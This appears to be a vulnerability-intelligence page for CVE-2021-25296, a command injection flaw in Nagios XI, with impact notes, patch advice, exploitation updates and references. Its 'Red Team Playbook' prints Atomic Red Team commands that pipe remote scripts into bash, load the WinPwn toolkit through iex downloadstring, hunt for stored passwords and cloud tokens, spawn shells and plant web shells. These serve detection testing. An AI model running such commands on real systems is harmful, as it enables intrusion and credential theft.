CVE-2021-25296
Overview
Nagios XI version xi-5.7.5 contains an OS command injection vulnerability caused by improper sanitization of user-supplied input within the file windowswmi.inc.php. The flaw occurs in the configuration wizard component handling Windows WMI integration, where authenticated HTTP requests supply parameters that are directly incorporated into system command execution without adequate validation.
Vulnerability Description
Nagios XI version xi-5.7.5 is affected by OS command injection. The vulnerability exists in the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php due to improper sanitization of authenticated user-controlled input by a single HTTP request, which can lead to OS command injection on the Nagios XI server.
Impact
An attacker with a low-privileged authenticated account can execute arbitrary operating system commands on the Nagios XI server, enabling full control over the host environment. This can lead to unauthorized data access, system compromise, lateral movement within the network, and disruption of monitoring services. The requirement for authentication limits exposure but does not prevent significant damage once exploited.
Solution
Nagios provides updated versions addressing this vulnerability; users should upgrade to versions later than xi-5.7.5 as listed on the official Nagios XI downloads page (https://assets.nagios.com/downloads/nagiosxi/versions.php). Detailed patch instructions and advisories are available through Nagios' official resources. No specific workaround is documented; timely upgrade is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Nagios XI arises from an OS command injection flaw within the file responsible for handling Windows WMI configuration wizards. This issue is primarily due to inadequate sanitization of user-controlled input, which allows an authenticated attacker to craft a malicious HTTP request. When this request is processed, it can lead to the execution of arbitrary operating system commands on the server hosting Nagios XI. The implications of this vulnerability are significant, as it undermines the integrity and security of the system, potentially allowing attackers to manipulate the server environment, access sensitive data, or disrupt services.
Attack vectors for exploiting this vulnerability are relatively straightforward. An authenticated user with access to the configuration wizards can input specially crafted commands into the affected component. By leveraging this flaw, an attacker can execute commands that the server runs with the privileges of the web server user. This could include actions such as creating new user accounts, modifying files, or even installing malicious software. Given that Nagios XI is often deployed in environments where it monitors critical infrastructure, the potential for exploitation is particularly concerning. Attackers could use this access to pivot further into the network, escalating privileges and compromising additional systems.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Nagios XI for monitoring and managing their IT infrastructure. The business risks associated with such a flaw include data breaches, service disruptions, and reputational damage. If an attacker successfully exploits this vulnerability, they could gain unauthorized access to sensitive information, leading to compliance violations and financial penalties. Additionally, the operational impact of a compromised monitoring system could hinder an organization's ability to respond to incidents, further exacerbating the situation. The potential for widespread damage underscores the importance of addressing this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate such flaws before they can be exploited. Additionally, organizations should ensure that all software components, including Nagios XI, are kept up to date with the latest security patches. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering and monitoring HTTP requests for malicious patterns. Furthermore, organizations should enforce the principle of least privilege, ensuring that users have only the necessary access rights to perform their duties, thereby limiting the potential impact of an exploited vulnerability.
In conclusion, the OS command injection vulnerability in Nagios XI presents a significant threat to organizations that utilize this monitoring solution. The ease of exploitation and the potential for severe consequences necessitate immediate attention and action. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against this and similar vulnerabilities. Implementing robust detection and mitigation strategies will not only protect the integrity of the Nagios XI environment but also safeguard the broader organizational infrastructure from potential compromise.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2021-25296, evidenced by the emergence of new detection events after a prolonged period of dormancy. This shift signals increased adversary interest and potential operationalization of the vulnerability beyond theoretical or proof-of-concept stages. The availability of a Metasploit module that chains CVE-2021-25296 with related Nagios XI vulnerabilities to achieve authenticated remote code execution has likely contributed to this uptick, lowering the technical barrier for threat actors. Although current telemetry does not indicate widespread ransomware deployment leveraging this flaw, the heightened exploitation activity elevates the risk profile for organizations running vulnerable Nagios XI versions. Defenders should regard this development as a critical indicator of evolving threat actor capabilities and intent, warranting enhanced vigilance. Consequently, the threat level associated with CVE-2021-25296 should be reassessed as increasingly active, reflecting its transition from a primarily theoretical risk to a tangible operational threat.
Update 2 — June 20, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2021-25296, with detection activity doubling over recent monitoring periods. Although the Exploit Prediction Scoring System (EPSS) score for this vulnerability has declined moderately, indicating a slight reduction in overall exploit likelihood, the surge in observed activity suggests increasing adversary interest and operational testing. The availability of a Metasploit module that chains CVE-2021-25296 with related vulnerabilities to achieve remote code execution underlines the growing sophistication and accessibility of attack tools for threat actors. This development elevates the immediacy of risk for organizations running vulnerable Nagios XI versions, as attackers with valid credentials can leverage these flaws to execute arbitrary commands with elevated privileges. While ransomware deployment linked to this vulnerability remains unconfirmed, the intensification of exploitation attempts signals a shift from theoretical risk to active threat, necessitating heightened monitoring. Consequently, the threat level associated with CVE-2021-25296 should be considered elevated, reflecting an environment where exploitation is increasingly feasible and likely.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Nagios | Nagios Xi | All |
cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection
exploits/linux/http/nagios_xi_configwizards_authenticated_rce
|
Matthew Mathur | Unknown | - | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-25296 |
| nagios.com |
GitHub CVE
|
http://nagios.com |
| assets.nagios.com |
GitHub CVE
|
https://assets.nagios.com/downloads/nagiosxi/versions.php |
| github.com |
GitHub CVE
|
https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/161561/Nagios-XI-5.7.5-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html |
| fastly.com |
GitHub CVE
|
https://www.fastly.com/blog/anatomy-of-a-command-injection-cve-2021-25296-7-8-with-metasploit-module-and |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25296 |